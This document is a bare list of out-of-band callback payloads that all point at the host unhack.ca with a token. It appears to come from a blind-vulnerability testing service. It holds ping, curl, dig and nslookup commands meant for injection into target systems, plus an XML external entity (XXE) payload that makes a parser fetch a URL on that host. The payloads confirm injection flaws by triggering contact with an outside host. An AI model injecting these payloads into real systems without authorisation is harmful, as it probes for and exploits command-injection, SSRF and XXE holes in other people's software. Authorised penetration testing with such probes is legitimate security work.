$ ping -c1 -p 002008107151aa43839f20c195223f00 unhack.ca
 

$ curl http://unhack.ca/p/2008107151aa43839f20c195223f
 

$ dig 2008107151aa43839f20c195223f @unhack.ca
 

$ dig 2008107151aa43839f20c195223f.ns.unhack.ca
 

C:\> nslookup 2008107151aa43839f20c195223f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2008107151aa43839f20c195223f">]>
    <foo>&xxe;</foo>